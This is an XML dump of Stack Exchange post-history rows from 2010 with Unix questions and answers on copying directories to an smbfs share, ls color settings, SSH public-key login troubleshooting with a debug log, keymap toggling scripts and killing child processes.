  <row Id="6073" PostHistoryTypeId="2" PostId="2899" RevisionGUID="4ee2b8a4-4f0b-4078-baa4-ffb0d2089802" CreationDate="2010-10-08T16:11:40.330" UserId="2150" Text="There is an explanation of how to get the reverse tunnel automatically set up at http://codysoyland.com/2010/jun/6/ssh-tip-automatic-reverse-tunnels-workflow-simplif/&#xD;&#xA;&#xD;&#xA;I have not tried this myself yet, but have kept it in my bookmarks for trying it out at some point in the future." />
  <row Id="6074" PostHistoryTypeId="2" PostId="2900" RevisionGUID="d830cf31-dc54-4114-8f54-25969c7ead52" CreationDate="2010-10-08T16:48:17.560" UserId="160" Text="I've mounted a Windows 7 directory on my FreeBSD box via smbfs:&#xD;&#xA;&#xD;&#xA;    mount&#xD;&#xA;    ...&#xD;&#xA;    //ROOT@BARYONYX/GVKV on /usr/home/gvkv/win (smbfs)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;but for some reason when I try to copy a directory:&#xD;&#xA;&#xD;&#xA;    cp .vim /win &#xD;&#xA;&#xD;&#xA;I get the following error:&#xD;&#xA;&#xD;&#xA;    cp: .vim is a directory (not copied).&#xD;&#xA;&#xD;&#xA;I can copy files just fine. Is there something special about directories and smb shares?" />
  <row Id="6075" PostHistoryTypeId="1" PostId="2900" RevisionGUID="d830cf31-dc54-4114-8f54-25969c7ead52" CreationDate="2010-10-08T16:48:17.560" UserId="160" Text="Why can I not copy a direcotry from *nix to a mounted smbfs share on Windows 7?" />
  <row Id="6076" PostHistoryTypeId="3" PostId="2900" RevisionGUID="d830cf31-dc54-4114-8f54-25969c7ead52" CreationDate="2010-10-08T16:48:17.560" UserId="160" Text="ésambaà" />
  <row Id="6080" PostHistoryTypeId="2" PostId="2902" RevisionGUID="b54906ae-212c-41d5-9b46-50e09485e9b2" CreationDate="2010-10-08T16:54:46.893" UserId="73" Text="It's nothing to do with smbfs, `cp` always requires the `-r` (recursive) flag to copy a directory. You should get the same if you try to `cp .vim /tmp/`:&#xD;&#xA;&#xD;&#xA;    $ cp .vim /tmp/&#xD;&#xA;    cp: omitting directory `.vim'&#xD;&#xA;    zsh: exit 1     cp .vim /tmp/&#xD;&#xA;    $ cp -r .vim /tmp/&#xD;&#xA;    $" />
  <row Id="6081" PostHistoryTypeId="6" PostId="2900" RevisionGUID="88895ff8-ed63-4e5d-a641-cac41c1b6bd0" CreationDate="2010-10-08T16:57:02.223" UserId="73" Comment="edited tags" Text="édirectoryàésambaàécpà" />
  <row Id="6082" PostHistoryTypeId="2" PostId="2903" RevisionGUID="b1a2aa0d-3228-48b8-81a9-10666c6f8fcf" CreationDate="2010-10-08T18:05:04.073" UserId="1578" Text="Hey guys,&#xD;&#xA;&#xD;&#xA;I'm trying to connect two servers. I got the id_dsa.pub key from user john from server A and paste into authorized_keys of user mike from server B.&#xD;&#xA;&#xD;&#xA;Then I tried to connect from server A to server B using mike login, however it is still asking for password.&#xD;&#xA;&#xD;&#xA;In mike's .ssh/ directory I have only `authorized_keys` file, like this:&#xD;&#xA;&#xD;&#xA;    bash-3.00$ ls -l&#xD;&#xA;    total 16&#xD;&#xA;    -rw-------   1 mike users    2422 Oct  8 14:47 authorized_keys&#xD;&#xA;    bash-3.00$&#xD;&#xA;&#xD;&#xA;The admin guy from server B assured that having only this file it's enough to let us connect at B server.&#xD;&#xA;&#xD;&#xA;Am I missing something?&#xD;&#xA;&#xD;&#xA;Thanks guys!&#xD;&#xA;" />
  <row Id="6083" PostHistoryTypeId="1" PostId="2903" RevisionGUID="b1a2aa0d-3228-48b8-81a9-10666c6f8fcf" CreationDate="2010-10-08T18:05:04.073" UserId="1578" Text="SSH Do not connect even with publickeys installed" />
  <row Id="6084" PostHistoryTypeId="3" PostId="2903" RevisionGUID="b1a2aa0d-3228-48b8-81a9-10666c6f8fcf" CreationDate="2010-10-08T18:05:04.073" UserId="1578" Text="ésshàéremoteàésftpà" />
  <row Id="6085" PostHistoryTypeId="2" PostId="2904" RevisionGUID="cae7b89e-5c7a-4d69-bc25-ecb419bd3812" CreationDate="2010-10-08T18:06:49.900" UserId="885" Text="There are several different implementations of color for ls, and you've conflated some of them.&#xD;&#xA;&#xD;&#xA;* On [FreeBSD](http://www.freebsd.org/cgi/man.cgi?query=ls&amp;apropos=0&amp;sektion=1&amp;format=html) and [Mac OS X](http://developer.apple.com/library/mac/#documentation/Darwin/Reference/ManPages/man1/ls.1.html), `ls` shows colors if the `CLICOLOR` environment variable is set or if `-G` is passed on the command line. The actual colors are configured through the `LSCOLORS` environment variable (built-in defaults are used if this variable is not set). To show directories in light blue, use&#xD;&#xA;&#xD;&#xA;        export LSCOLORS=Exfxcxdxbxegedabagacad&#xD;&#xA;&#xD;&#xA;* With [GNU ls](http://www.gnu.org/software/coreutils/manual/html_node/General-output-formatting.html), e.g. on Linux, `ls` shows colors if `--color` is passed on the command line. The actual colors are configured through the `LS_COLORS` environment variable, which can be set with the [`dircolors`](http://www.gnu.org/software/coreutils/manual/html_node/dircolors-invocation.html) command (built-in defaults are used if this variable is not set).&#xD;&#xA;" />
  <row Id="6086" PostHistoryTypeId="2" PostId="2905" RevisionGUID="99ac46aa-2e93-4ee0-b814-075310db2f2a" CreationDate="2010-10-08T18:12:21.157" UserId="4" Text="&gt; What's it for CLICOLOR and LS_COLORS? Why coloring works without LS_COLORS?&#xD;&#xA;&#xD;&#xA;`CLICOLOR` will turn colors on or off. `LS_COLORS` is not necessary, and will let you customize the colors.&#xD;&#xA;&#xD;&#xA;Note that on some distros (Like MacOSX and FreeBSD), the value is `LSCOLORS` not `LS_COLORS`.&#xD;&#xA;&#xD;&#xA;I avoid setting the color using LS_COLORS, because then I need to apply that same color scheme on a hundred different computers and 10 different Un*xes. Instead, I modify the color in my Terminal progra,, which works the same on most Unix hosts.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="6087" PostHistoryTypeId="6" PostId="2897" RevisionGUID="b67b6be7-7fbf-498c-8a08-98370a470668" CreationDate="2010-10-08T18:13:17.067" UserId="4" Comment="edited tags" Text="ébashàésettingsàécolorsàédisplayösettingsà" />
  <row Id="6088" PostHistoryTypeId="6" PostId="1755" RevisionGUID="ef2dee83-8300-45ce-84ea-380a04bd23a5" CreationDate="2010-10-08T18:14:03.867" UserId="4" Comment="edited tags" Text="ébashàéterminalàépromptàécolorsà" />
  <row Id="6089" PostHistoryTypeId="6" PostId="1397" RevisionGUID="9f9b4716-d6de-4b7d-91bb-83ff787560f1" CreationDate="2010-10-08T18:14:39.280" UserId="4" Comment="edited tags" Text="éshellàézshàécolorsàépromptà" />
  <row Id="6090" PostHistoryTypeId="5" PostId="2903" RevisionGUID="37098c8e-5b1e-4fc6-ac3b-9b04eb94d9bb" CreationDate="2010-10-08T18:30:21.427" UserId="1578" Comment="Added description" Text="Hey guys,&#xD;&#xA;&#xD;&#xA;I'm trying to connect two servers. I got the id_dsa.pub key from user john from server A and paste into authorized_keys of user mike from server B.&#xD;&#xA;&#xD;&#xA;Then I tried to connect from server A to server B using mike login, however it is still asking for password.&#xD;&#xA;&#xD;&#xA;In mike's .ssh/ directory I have only `authorized_keys` file, like this:&#xD;&#xA;&#xD;&#xA;    bash-3.00$ ls -l&#xD;&#xA;    total 16&#xD;&#xA;    -rw-------   1 mike users    2422 Oct  8 14:47 authorized_keys&#xD;&#xA;    bash-3.00$&#xD;&#xA;&#xD;&#xA;The admin guy from server B assured that having only this file it's enough to let us connect at B server.&#xD;&#xA;&#xD;&#xA;Am I missing something?&#xD;&#xA;&#xD;&#xA;Thanks guys!&#xD;&#xA;&#xD;&#xA;EDIT: Here is the Log:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    johndbb3:/home/john/.ssh&gt; ssh -vvv mike@fpnld1.uk.db.com&#xD;&#xA;    Sun_SSH_1.1, SSH protocols 1.5/2.0, OpenSSL 0x0090704f&#xD;&#xA;    debug1: Reading configuration data /etc/ssh/ssh_config&#xD;&#xA;    debug1: Rhosts Authentication disabled, originating port will not be trusted.&#xD;&#xA;    debug1: ssh_connect: needpriv 0&#xD;&#xA;    debug1: Connecting to fpnld1.uk.db.com [10.240.1.215] port 22.&#xD;&#xA;    debug1: Connection established.&#xD;&#xA;    debug1: identity file /home/john/.ssh/identity type -1&#xD;&#xA;    debug3: Not a RSA1 key file /home/john/.ssh/id_rsa.&#xD;&#xA;    debug2: key_type_from_name: unknown key type '-----BEGIN'&#xD;&#xA;    debug3: key_read: no key found&#xD;&#xA;    debug3: key_read: no space&#xD;&#xA;    debug3: key_read: no space&#xD;&#xA;    debug3: key_read: no space&#xD;&#xA;    debug3: key_read: no space&#xD;&#xA;    debug3: key_read: no space&#xD;&#xA;    debug3: key_read: no space&#xD;&#xA;    debug3: key_read: no space&#xD;&#xA;    debug3: key_read: no space&#xD;&#xA;    debug3: key_read: no space&#xD;&#xA;    debug3: key_read: no space&#xD;&#xA;    debug3: key_read: no space&#xD;&#xA;    debug3: key_read: no space&#xD;&#xA;    debug3: key_read: no space&#xD;&#xA;    debug2: key_type_from_name: unknown key type '-----END'&#xD;&#xA;    debug3: key_read: no key found&#xD;&#xA;    debug1: identity file /home/john/.ssh/id_rsa type 1&#xD;&#xA;    debug3: Not a RSA1 key file /home/john/.ssh/id_dsa.&#xD;&#xA;    debug2: key_type_from_name: unknown key type '-----BEGIN'&#xD;&#xA;    debug3: key_read: no key found&#xD;&#xA;    debug3: key_read: no space&#xD;&#xA;    debug3: key_read: no space&#xD;&#xA;    debug3: key_read: no space&#xD;&#xA;    debug3: key_read: no space&#xD;&#xA;    debug3: key_read: no space&#xD;&#xA;    debug3: key_read: no space&#xD;&#xA;    debug3: key_read: no space&#xD;&#xA;    debug3: key_read: no space&#xD;&#xA;    debug3: key_read: no space&#xD;&#xA;    debug3: key_read: no space&#xD;&#xA;    debug2: key_type_from_name: unknown key type '-----END'&#xD;&#xA;    debug3: key_read: no key found&#xD;&#xA;    debug1: identity file /home/john/.ssh/id_dsa type 2&#xD;&#xA;    debug1: Remote protocol version 2.0, remote software version Sun_SSH_1.1.3&#xD;&#xA;    debug1: no match: Sun_SSH_1.1.3&#xD;&#xA;    debug1: Enabling compatibility mode for protocol 2.0&#xD;&#xA;    debug1: Local version string SSH-2.0-Sun_SSH_1.1&#xD;&#xA;    debug2: kex_parse_kexinit: diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1&#xD;&#xA;    debug2: kex_parse_kexinit: ssh-rsa,ssh-dss&#xD;&#xA;    debug2: kex_parse_kexinit: aes128-ctr,aes128-cbc,arcfour,3des-cbc,blowfish-cbc&#xD;&#xA;    debug2: kex_parse_kexinit: aes128-ctr,aes128-cbc,arcfour,3des-cbc,blowfish-cbc&#xD;&#xA;    debug2: kex_parse_kexinit: hmac-md5,hmac-sha1,hmac-sha1-96,hmac-md5-96&#xD;&#xA;    debug2: kex_parse_kexinit: hmac-md5,hmac-sha1,hmac-sha1-96,hmac-md5-96&#xD;&#xA;    debug2: kex_parse_kexinit: none,zlib&#xD;&#xA;    debug2: kex_parse_kexinit: none,zlib&#xD;&#xA;    debug2: kex_parse_kexinit: i-default&#xD;&#xA;    debug2: kex_parse_kexinit: i-default&#xD;&#xA;    debug2: kex_parse_kexinit: first_kex_follows 0&#xD;&#xA;    debug2: kex_parse_kexinit: reserved 0&#xD;&#xA;    debug1: Failed to acquire GSS-API credentials for any mechanisms (No credentials were supplied, or the credentials were unavailable or inaccessible&#xD;&#xA;    Unknown code 0&#xD;&#xA;    )&#xD;&#xA;    debug1: SSH2_MSG_KEXINIT sent&#xD;&#xA;    debug3: kex_reset_dispatch -- should we dispatch_set(KEXINIT) here? 0 &amp;&amp; !0&#xD;&#xA;    debug1: SSH2_MSG_KEXINIT received&#xD;&#xA;    debug2: kex_parse_kexinit: diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1&#xD;&#xA;    debug2: kex_parse_kexinit: ssh-rsa,ssh-dss&#xD;&#xA;    debug2: kex_parse_kexinit: aes128-ctr,aes128-cbc,arcfour,3des-cbc,blowfish-cbc&#xD;&#xA;    debug2: kex_parse_kexinit: aes128-ctr,aes128-cbc,arcfour,3des-cbc,blowfish-cbc&#xD;&#xA;    debug2: kex_parse_kexinit: hmac-md5,hmac-sha1,hmac-sha1-96,hmac-md5-96&#xD;&#xA;    debug2: kex_parse_kexinit: hmac-md5,hmac-sha1,hmac-sha1-96,hmac-md5-96&#xD;&#xA;    debug2: kex_parse_kexinit: none,zlib&#xD;&#xA;    debug2: kex_parse_kexinit: none,zlib&#xD;&#xA;    debug2: kex_parse_kexinit: i-default&#xD;&#xA;    debug2: kex_parse_kexinit: i-default&#xD;&#xA;    debug2: kex_parse_kexinit: first_kex_follows 0&#xD;&#xA;    debug2: kex_parse_kexinit: reserved 0&#xD;&#xA;    debug2: kex_parse_kexinit: gss-group1-sha1-toWM5Slw5Ew8Mqkay+al2g==,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1&#xD;&#xA;    debug2: kex_parse_kexinit: ssh-rsa,ssh-dss&#xD;&#xA;    debug2: kex_parse_kexinit: aes128-ctr,aes128-cbc,arcfour,3des-cbc,blowfish-cbc,aes192-ctr,aes192-cbc,aes256-ctr,aes256-cbc&#xD;&#xA;    debug2: kex_parse_kexinit: aes128-ctr,aes128-cbc,arcfour,3des-cbc,blowfish-cbc,aes192-ctr,aes192-cbc,aes256-ctr,aes256-cbc&#xD;&#xA;    debug2: kex_parse_kexinit: hmac-md5,hmac-sha1,hmac-sha1-96,hmac-md5-96&#xD;&#xA;    debug2: kex_parse_kexinit: hmac-md5,hmac-sha1,hmac-sha1-96,hmac-md5-96&#xD;&#xA;    debug2: kex_parse_kexinit: none,zlib&#xD;&#xA;    debug2: kex_parse_kexinit: none,zlib&#xD;&#xA;    debug2: kex_parse_kexinit: ar-EG,ar-SA,bg-BG,ca-ES,cs-CZ,da-DK,de,de-AT,de-CH,de-DE,de-LU,el-CY,el-GR,en-AU,en-CA,en-GB,en-IE,en-MT,en-NZ,en-US,es,es-AR,es-BO,es-CL,es-CO,es-CR,es-EC,es-ES,es-GT,es-MX,es-NI,es-PA,es-PE,es-PY,es-SV,es-UY,es-VE,et-EE,fi-FI,fr,fr-BE,fr-CA,fr-CH,fr-FR,fr-LU,he-IL,hr-HR,hu-HU,is-IS,it,it-IT,kk-KZ,lt-LT,lv-LV,mk-MK,mt-MT,nb-NO,nl-BE,nl-NL,nn-NO,pl,pl-PL,pt-BR,pt-PT,ro-RO,ru,ru-RU,sh-BA,sk-SK,sl-SI,sq-AL,sr-CS,sv,sv-SE,tr-TR,ar,ca,cz,da,el,et,fi,he,hu,lt,lv,nl,no,no-NO,no-NY,nr,pt,sr-SP,sr-YU,tr,i-default,uk-UA&#xD;&#xA;    debug2: kex_parse_kexinit: ar-EG,ar-SA,bg-BG,ca-ES,cs-CZ,da-DK,de,de-AT,de-CH,de-DE,de-LU,el-CY,el-GR,en-AU,en-CA,en-GB,en-IE,en-MT,en-NZ,en-US,es,es-AR,es-BO,es-CL,es-CO,es-CR,es-EC,es-ES,es-GT,es-MX,es-NI,es-PA,es-PE,es-PY,es-SV,es-UY,es-VE,et-EE,fi-FI,fr,fr-BE,fr-CA,fr-CH,fr-FR,fr-LU,he-IL,hr-HR,hu-HU,is-IS,it,it-IT,kk-KZ,lt-LT,lv-LV,mk-MK,mt-MT,nb-NO,nl-BE,nl-NL,nn-NO,pl,pl-PL,pt-BR,pt-PT,ro-RO,ru,ru-RU,sh-BA,sk-SK,sl-SI,sq-AL,sr-CS,sv,sv-SE,tr-TR,ar,ca,cz,da,el,et,fi,he,hu,lt,lv,nl,no,no-NO,no-NY,nr,pt,sr-SP,sr-YU,tr,i-default,uk-UA&#xD;&#xA;    debug2: kex_parse_kexinit: first_kex_follows 0&#xD;&#xA;    debug2: kex_parse_kexinit: reserved 0&#xD;&#xA;    debug2: mac_init: found hmac-md5&#xD;&#xA;    debug1: kex: server-&gt;client aes128-ctr hmac-md5 none&#xD;&#xA;    debug2: mac_init: found hmac-md5&#xD;&#xA;    debug1: kex: client-&gt;server aes128-ctr hmac-md5 none&#xD;&#xA;    debug1: Peer sent proposed langtags, ctos: ar-EG,ar-SA,bg-BG,ca-ES,cs-CZ,da-DK,de,de-AT,de-CH,de-DE,de-LU,el-CY,el-GR,en-AU,en-CA,en-GB,en-IE,en-MT,en-NZ,en-US,es,es-AR,es-BO,es-CL,es-CO,es-CR,es-EC,es-ES,es-GT,es-MX,es-NI,es-PA,es-PE,es-PY,es-SV,es-UY,es-VE,et-EE,fi-FI,fr,fr-BE,fr-CA,fr-CH,fr-FR,fr-LU,he-IL,hr-HR,hu-HU,is-IS,it,it-IT,kk-KZ,lt-LT,lv-LV,mk-MK,mt-MT,nb-NO,nl-BE,nl-NL,nn-NO,pl,pl-PL,pt-BR,pt-PT,ro-RO,ru,ru-RU,sh-BA,sk-SK,sl-SI,sq-AL,sr-CS,sv,sv-SE,tr-TR,ar,ca,cz,da,el,et,fi,he,hu,lt,lv,nl,no,no-NO,no-NY,nr,pt,sr-SP,sr-YU,tr,i-default,uk-UA&#xD;&#xA;    debug1: Peer sent proposed langtags, stoc: ar-EG,ar-SA,bg-BG,ca-ES,cs-CZ,da-DK,de,de-AT,de-CH,de-DE,de-LU,el-CY,el-GR,en-AU,en-CA,en-GB,en-IE,en-MT,en-NZ,en-US,es,es-AR,es-BO,es-CL,es-CO,es-CR,es-EC,es-ES,es-GT,es-MX,es-NI,es-PA,es-PE,es-PY,es-SV,es-UY,es-VE,et-EE,fi-FI,fr,fr-BE,fr-CA,fr-CH,fr-FR,fr-LU,he-IL,hr-HR,hu-HU,is-IS,it,it-IT,kk-KZ,lt-LT,lv-LV,mk-MK,mt-MT,nb-NO,nl-BE,nl-NL,nn-NO,pl,pl-PL,pt-BR,pt-PT,ro-RO,ru,ru-RU,sh-BA,sk-SK,sl-SI,sq-AL,sr-CS,sv,sv-SE,tr-TR,ar,ca,cz,da,el,et,fi,he,hu,lt,lv,nl,no,no-NO,no-NY,nr,pt,sr-SP,sr-YU,tr,i-default,uk-UA&#xD;&#xA;    debug1: We proposed langtags, ctos: i-default&#xD;&#xA;    debug1: We proposed langtags, stoc: i-default&#xD;&#xA;    debug1: Negotiated lang: i-default&#xD;&#xA;    debug1: SSH2_MSG_KEX_DH_GEX_REQUEST sent&#xD;&#xA;    debug1: expecting SSH2_MSG_KEX_DH_GEX_GROUP&#xD;&#xA;    debug1: Remote: Negotiated main locale: C&#xD;&#xA;    debug1: Remote: Negotiated messages locale: C&#xD;&#xA;    debug1: dh_gen_key: priv key bits set: 129/256&#xD;&#xA;    debug1: bits set: 1594/3191&#xD;&#xA;    debug1: SSH2_MSG_KEX_DH_GEX_INIT sent&#xD;&#xA;    debug1: expecting SSH2_MSG_KEX_DH_GEX_REPLY&#xD;&#xA;    debug3: check_host_in_hostfile: filename /home/john/.ssh/known_hosts&#xD;&#xA;    debug3: check_host_in_hostfile: match line 120&#xD;&#xA;    debug3: check_host_in_hostfile: filename /home/john/.ssh/known_hosts&#xD;&#xA;    debug3: check_host_in_hostfile: match line 119&#xD;&#xA;    debug1: Host 'fpnld1.uk.db.com' is known and matches the RSA host key.&#xD;&#xA;    debug1: Found key in /home/john/.ssh/known_hosts:120&#xD;&#xA;    debug1: bits set: 1573/3191&#xD;&#xA;    debug1: ssh_rsa_verify: signature correct&#xD;&#xA;    debug2: kex_derive_keys&#xD;&#xA;    debug3: kex_reset_dispatch -- should we dispatch_set(KEXINIT) here? 0 &amp;&amp; !0&#xD;&#xA;    debug1: newkeys: mode 1&#xD;&#xA;    debug1: SSH2_MSG_NEWKEYS sent&#xD;&#xA;    debug1: expecting SSH2_MSG_NEWKEYS&#xD;&#xA;    debug1: newkeys: mode 0&#xD;&#xA;    debug1: SSH2_MSG_NEWKEYS received&#xD;&#xA;    debug1: done: ssh_kex2.&#xD;&#xA;    debug1: send SSH2_MSG_SERVICE_REQUEST&#xD;&#xA;    debug2: service_accept: ssh-userauth&#xD;&#xA;    debug1: got SSH2_MSG_SERVICE_ACCEPT&#xD;&#xA;    debug1: Authentications that can continue: gssapi-keyex,gssapi-with-mic,publickey,password,keyboard-interactive&#xD;&#xA;    debug3: start over, passed a different list gssapi-keyex,gssapi-with-mic,publickey,password,keyboard-interactive&#xD;&#xA;    debug3: preferred gssapi-keyex,gssapi-with-mic,publickey,keyboard-interactive,password&#xD;&#xA;    debug3: authmethod_lookup gssapi-keyex&#xD;&#xA;    debug3: remaining preferred: gssapi-with-mic,publickey,keyboard-interactive,password&#xD;&#xA;    debug3: authmethod_is_enabled gssapi-keyex&#xD;&#xA;    debug1: Next authentication method: gssapi-keyex&#xD;&#xA;    debug2: we did not send a packet, disable method&#xD;&#xA;    debug3: authmethod_lookup gssapi-with-mic&#xD;&#xA;    debug3: remaining preferred: publickey,keyboard-interactive,password&#xD;&#xA;    debug3: authmethod_is_enabled gssapi-with-mic&#xD;&#xA;    debug1: Next authentication method: gssapi-with-mic&#xD;&#xA;    debug1: Failed to acquire GSS-API credentials for any mechanisms (No credentials were supplied, or the credentials were unavailable or inaccessible&#xD;&#xA;    Unknown code 0&#xD;&#xA;    )&#xD;&#xA;    debug2: we did not send a packet, disable method&#xD;&#xA;    debug3: authmethod_lookup publickey&#xD;&#xA;    debug3: remaining preferred: keyboard-interactive,password&#xD;&#xA;    debug3: authmethod_is_enabled publickey&#xD;&#xA;    debug1: Next authentication method: publickey&#xD;&#xA;    debug1: Trying private key: /home/john/.ssh/identity&#xD;&#xA;    debug3: no such identity: /home/john/.ssh/identity&#xD;&#xA;    debug1: Trying public key: /home/john/.ssh/id_rsa&#xD;&#xA;    debug3: send_pubkey_test&#xD;&#xA;    debug2: we sent a publickey packet, wait for reply&#xD;&#xA;    debug1: Authentications that can continue: gssapi-keyex,gssapi-with-mic,publickey,password,keyboard-interactive&#xD;&#xA;    debug1: Trying public key: /home/john/.ssh/id_dsa&#xD;&#xA;    debug3: send_pubkey_test&#xD;&#xA;    debug2: we sent a publickey packet, wait for reply&#xD;&#xA;    debug1: Authentications that can continue: gssapi-keyex,gssapi-with-mic,publickey,password,keyboard-interactive&#xD;&#xA;    debug2: we did not send a packet, disable method&#xD;&#xA;    debug3: authmethod_lookup keyboard-interactive&#xD;&#xA;    debug3: remaining preferred: password&#xD;&#xA;    debug3: authmethod_is_enabled keyboard-interactive&#xD;&#xA;    debug1: Next authentication method: keyboard-interactive&#xD;&#xA;    debug2: userauth_kbdint&#xD;&#xA;    debug2: we sent a keyboard-interactive packet, wait for reply&#xD;&#xA;    debug2: input_userauth_info_req&#xD;&#xA;    debug2: input_userauth_info_req: num_prompts 1&#xD;&#xA;    Password:&#xD;&#xA;    &#xD;&#xA;    johndbb3:/home/john/.ssh&gt;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="6091" PostHistoryTypeId="2" PostId="2906" RevisionGUID="39de55d5-e9c4-4354-9426-684f3c58c6aa" CreationDate="2010-10-08T18:44:46.807" UserId="1207" Text="You may have just copied the key incorrectly.  Try this:&#xD;&#xA;&#xD;&#xA;1. On Server B(as mike): `rm ~/.ssh/authorized_keys`&#xD;&#xA;2. On Server A(as john): `ssh-copy-id -i id_dsa.pub mike@serverb`&#xD;&#xA;&#xD;&#xA;The [ssh-copy-id][1] command basically connects to the remote host (using password auth) and then edits authorized_keys appropriately.  I believe it is distributed with OpenSSH, if you are using something else, it may not be available.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://linux.die.net/man/1/ssh-copy-id" />
  <row Id="6092" PostHistoryTypeId="2" PostId="2907" RevisionGUID="44aea036-4fb9-48e6-9620-3bb9f2d7f8bd" CreationDate="2010-10-08T18:47:22.640" UserId="885" Text="You'll have to do this separately for X and for every kind of text console you care about.&#xD;&#xA;&#xD;&#xA;If you want to switch between arbitrary keymaps, you need to maintain state, as typically the console won't do it for you. That's what layout switchers such as Gnome's and KDE's do. But if you only want to switch between some well-known keymaps, you can query the console (assuming this feature is available on your console type), obtain the current code sent by a key and decide what to switch to based on that. Here are a few possibilities:&#xD;&#xA;&#xD;&#xA;* If keycode 24 (the number will vary between console types) currently sends `q`, the current keymap looks like qwerty, so switch to dvorak, otherwise switch to qwerty.&#xD;&#xA;* If &lt;kbd&gt;Q&lt;/kbd&gt; and &lt;kbd&gt;W&lt;/kbd&gt; have adjacent keycodes, it's probably a qwerty layout.&#xD;&#xA;* Add a fake key in the keymaps and look up its binding.&#xD;&#xA;&#xD;&#xA;Here's an implementation for X and Linux, using the &lt;kbd&gt;W&lt;/kbd&gt;=&lt;kbd&gt;Q&lt;/kbd&gt;+1 test. Beware, I haven't tested it. Note that the script will usually not be usable through text mode remote logins.&#xD;&#xA;&#xD;&#xA;    if [ -n &quot;$DISPLAY&quot; ]; then&#xD;&#xA;      if xmodmap -pke | awk '$3==&quot;=&quot; &amp;&amp; $4==&quot;q&quot; {q=$2}&#xD;&#xA;                             $3==&quot;=&quot; &amp;&amp; $4==&quot;w&quot; {w=$2}&#xD;&#xA;                             END {exit w-q==1}'; then&#xD;&#xA;        setxkbmap us&#xD;&#xA;      else&#xD;&#xA;        setxkbmap dvorak&#xD;&#xA;      fi&#xD;&#xA;    elif [ &quot;$TERM&quot; = &quot;linux&quot; ]; then&#xD;&#xA;      if dumpkeys | awk '$3==&quot;=&quot; &amp;&amp; $4==&quot;q&quot; {q=$2}&#xD;&#xA;                         $3==&quot;=&quot; &amp;&amp; $4==&quot;w&quot; {w=$2}&#xD;&#xA;                         END {exit w-q==1}'; then&#xD;&#xA;        loadkeys us&#xD;&#xA;      else&#xD;&#xA;        loadkeys dvorak&#xD;&#xA;      fi&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;On X Window, the best place to bind this to a key is using your desktop environment or window manager's key binding feature. You can make the key execute the X-specific part only. Of course, if your DE/WM has a layout switching feature, you might as well use it.&#xD;&#xA;&#xD;&#xA;On the Linux console, the possibilities for key bindings are very limited. You can bind a key to the `KeyboardSignal` symbol. If you're using SysVinit, put `kb::kbrequest:/path/to/script` in `/etc/inittab` to run your script (as root!) when the signal is pressed. I don't know how to configure this key's action with Upstart.&#xD;&#xA;" />
  <row Id="6093" PostHistoryTypeId="6" PostId="2903" RevisionGUID="30f867ab-4f39-437d-a2b3-e601a2333f30" CreationDate="2010-10-08T18:51:56.770" UserId="1578" Comment="Added tags" Text="éunixàésshàésolarisàéremoteàésftpà" />
  <row Id="6094" PostHistoryTypeId="2" PostId="2908" RevisionGUID="ea2d4b6a-eb57-4c34-b672-b2b6baef71c9" CreationDate="2010-10-08T18:56:59.647" UserId="4" Text="Do you have access to the SSH logs on ServerB? If not, can the admin send the relevant lines to you?&#xD;&#xA;&#xD;&#xA;On ServerB, the permissions for make sure that you have the correct permissions as described in the SSH manpage:&#xD;&#xA;&#xD;&#xA;     ~/.ssh/&#xD;&#xA;             This directory is the default location for all user-specific con‐&#xD;&#xA;             figuration and authentication information.  There is no general&#xD;&#xA;             requirement to keep the entire contents of this directory secret,&#xD;&#xA;             but the recommended permissions are read/write/execute for the&#xD;&#xA;             user, and not accessible by others.&#xD;&#xA;&#xD;&#xA;     ~/.ssh/authorized_keys&#xD;&#xA;             Lists the public keys (RSA/DSA) that can be used for logging in&#xD;&#xA;             as this user.  The format of this file is described in the&#xD;&#xA;             sshd(8) manual page.  This file is not highly sensitive, but the&#xD;&#xA;             recommended permissions are read/write for the user, and not&#xD;&#xA;             accessible by others.&#xD;&#xA;" />
  <row Id="6095" PostHistoryTypeId="2" PostId="2909" RevisionGUID="26452889-34f4-4910-a2df-25f459706b62" CreationDate="2010-10-08T19:28:22.513" UserId="1090" Text="I asked  &lt;a href=&quot;http://stackoverflow.com/questions/3893473/read-multiple-lines-from-subprocess-popen-stdout/3893654#3893654&quot;&gt;a question&lt;/a&gt; to know how to get multiple lines of message from Python's subprocess module. &#xD;&#xA;&#xD;&#xA;The problem is that in the course of testing, I had to kill the python process that runs gnuchess process. Using ^c in the command line seems to kill the python process, but not the gnuprocess as I found that gnuprocess is still running. &#xD;&#xA;&#xD;&#xA;For killing gnuchess, I get the pid with **ps aux | grep gnuchess** and run **kill -9 PID**. Are there other methods to kill both python and gnuchess process?" />
  <row Id="6096" PostHistoryTypeId="1" PostId="2909" RevisionGUID="26452889-34f4-4910-a2df-25f459706b62" CreationDate="2010-10-08T19:28:22.513" UserId="1090" Text="How to kill both a process and subprocess?" />
  <row Id="6097" PostHistoryTypeId="3" PostId="2909" RevisionGUID="26452889-34f4-4910-a2df-25f459706b62" CreationDate="2010-10-08T19:28:22.513" UserId="1090" Text="éprocessàékillà" />
  <row Id="6098" PostHistoryTypeId="5" PostId="2909" RevisionGUID="2ca59428-d320-4114-a9aa-af93f84c3e6c" CreationDate="2010-10-08T19:45:08.843" UserId="1090" Comment="deleted 44 characters in body" Text="I asked  &lt;a href=&quot;http://stackoverflow.com/questions/3893473/read-multiple-lines-from-subprocess-popen-stdout/3893654#3893654&quot;&gt;a question&lt;/a&gt; to know how to get multiple lines of message from Python's subprocess module. &#xD;&#xA;&#xD;&#xA;The problem is that in the course of testing, I had to kill the python process that runs gnuchess process. Using ^c in the command line seems to kill the python process, but not the gnuprocess. &#xD;&#xA;&#xD;&#xA;For killing gnuchess, I get the pid with **ps aux | grep gnuchess** and run **kill -9 PID**. Are there other methods to kill both python and gnuchess process?" />
